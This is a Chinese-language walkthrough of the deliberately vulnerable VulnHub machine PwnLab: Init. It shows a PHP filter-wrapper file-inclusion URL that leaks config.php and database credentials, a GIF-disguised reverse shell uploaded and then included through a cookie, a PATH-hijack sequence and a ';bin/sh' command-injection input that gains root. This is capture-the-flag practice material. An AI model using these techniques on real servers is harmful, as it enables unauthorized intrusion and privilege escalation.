靶机

https://www.vulnhub.com/entry/pwnlab-init,158/

前期准备

运行环境:VM Workstation,VM Esxi,VirtualBox

将下载的 ova 文件直接导入虚拟机

主机信息

在 VM 中打开导入的虚拟机后,kali 运行命令:

1
arp-scan 192.168.32.0/24

ip

当前靶机 IP 为 192.168.32.145

服务发现

使用 nmap 对靶机进行扫描

nmap

开启 80、3306 等端口

访问 web 服务如下:

web

web_login

upload_page

结合 Wappalyzer 可知靶机 web 开发语言为 PHP:

dev_info

而连接 mysql 服务时需要密码

目录探测

使用 dirsearch 扫描web 目录:

1
python3 dirsearch.py -u http://192.168.32.145/ -e php,html,js,png,jpg,.txt

dirsearch

主要有 config.php、index.php、login.php、upload.php 四个页面

Get Shell

尝试对登录页面进行 sql 注入,最后以失败告终:

sqlmap_failed

很明显上传页面一般是 get shell 的突破口,不过需要先登录,而口令爆破实在是不得已而为之的方法,先不考虑。

查询资料可知,可以尝试利用 PHP 的文件包含漏洞读取服务器的文件。

利用 PHP 伪协议进行读取(PHP 伪协议):

读取 config.php:

http://192.168.32.145/?page=php://filter/read=convert.base64-encode/resource=config

read_config_request

read_config_response

将响应得到的 base64 字符串解码:

config_decode

1
2
3
4
5
6
<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

可以得到 mysql 的连接用户名与口令

以相同的方式读取其他文件:

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
    if (isset($_GET['page']))
    {
        include($_GET['page'].".php");
    }
    else
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>
</center>
</body>
</html>

upload.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
    <body>
        <form action='' method='post' enctype='multipart/form-data'>
            <input type='file' name='file' id='file' />
            <input type='submit' name='submit' value='Upload'/>
        </form>
    </body>
</html>
<?php 
if(isset($_POST['submit'])) {
    if ($_FILES['file']['error'] <= 0) {
        $filename  = $_FILES['file']['name'];
        $filetype  = $_FILES['file']['type'];
        $uploaddir = 'upload/';
        $file_ext  = strrchr($filename, '.');
        $imageinfo = getimagesize($_FILES['file']['tmp_name']);
        $whitelist = array(".jpg",".jpeg",".gif",".png"); 

        if (!(in_array($file_ext, $whitelist))) {
            die('Not allowed extension, please upload images only.');
        }

        if(strpos($filetype,'image') === false) {
            die('Error 001');
        }

        if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
            die('Error 002');
        }

        if(substr_count($filetype, '/')>1){
            die('Error 003');
        }

        $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
            echo "<img src=\"".$uploadfile."\"><br />";
        } else {
            die('Error 4');
        }
    }
}

?>

由 upload.php 可知上传文件限制后缀 jpg、jpeg、gif、png,并且作了 MIME 检查

login.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
    $luser = $_POST['user'];
    $lpass = base64_encode($_POST['pass']);

    $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
    $stmt->bind_param('ss', $luser, $lpass);

    $stmt->execute();
    $stmt->store_Result();

    if ($stmt->num_rows == 1)
    {
        $_SESSION['user'] = $luser;
        header('Location: ?page=upload');
    }
    else
    {
        echo "Login failed.";
    }
}
else
{
    ?>
    <form action="" method="POST">
    <label>Username: </label><input id="user" type="test" name="user"><br />
    <label>Password: </label><input id="pass" type="password" name="pass"><br />
    <input type="submit" name="submit" value="Login">
    </form>
    <?php
}
?>

使用读取 config.php 得到的信息登录靶机 mysql,在数据库”Users”中获取登录信息:

user_info

看起来是 base64 编码,解码后结果如下:

1
2
3
kent:JWzXuBJJNy
mike:SIfdsTEn6I
kane:iSv5Ym2GRo

使用其中一个进行登录,到上传页面,将反弹 shell 后缀改为 gif,在 Burp 中拦截请求并添加 gif 头:

edit_req

响应中得到回显路径:

upload_response

1
upload/3208fd203ca8fdfa13bc98a4832c1396.gif

由 upload.php 可知上传的文件以计算文件 MD5 的值作为文件文件名,直接访问后没有解析

在 index.php 还存在一处文件包含:

1
2
3
4
5
6
7
8
9
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>

文件路径可通过设置 cookie 的 lang 进行包含:

acess_shell

在发送请求前,kali nc 监听,Burp 放行请求后得到 shell:

get_shell

Get Root

尝试切换之前得到的用户,发现 mike 无法切换,权限不够,只能切换至 kent 和 kane

切换到 kent 后 ls -l 什么都没有,kane 则有点意思:

su_kane_1

su_kane_2

发现文件 msgmike,其为一个 ELF 可执行文件:

msgmike_info1

msgmike_info2

执行后:

run_msgmike

提示找不到文件 “cat”,那么可以构造一个包含 shell 的 cat:

1
2
3
4
echo $PATH
echo '/bin/bash' > cat
chmod +x cat
export PATH=./:$PATH

echo_path

再次执行后:

to_mike

切换到 mike,在 /home/mike 目录中发现 msg2root:

mike_assets

执行后需要输入给 root 的消息,随便输入试试之后使用 strings msg2root 查看其可打印的字符串:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$"(
<snip>
...

可以看到输入的消息写入到 /root/messages.txt 中,既然如此,可在消息后加上 /bin/sh,当 echo 执行完后再执行 /bin/sh:

直接输入 ;bin/sh 不废话

to_root

得到 root 权限后,进入 root 目录:

final_1

cat flag.txt:

final_2_get_flag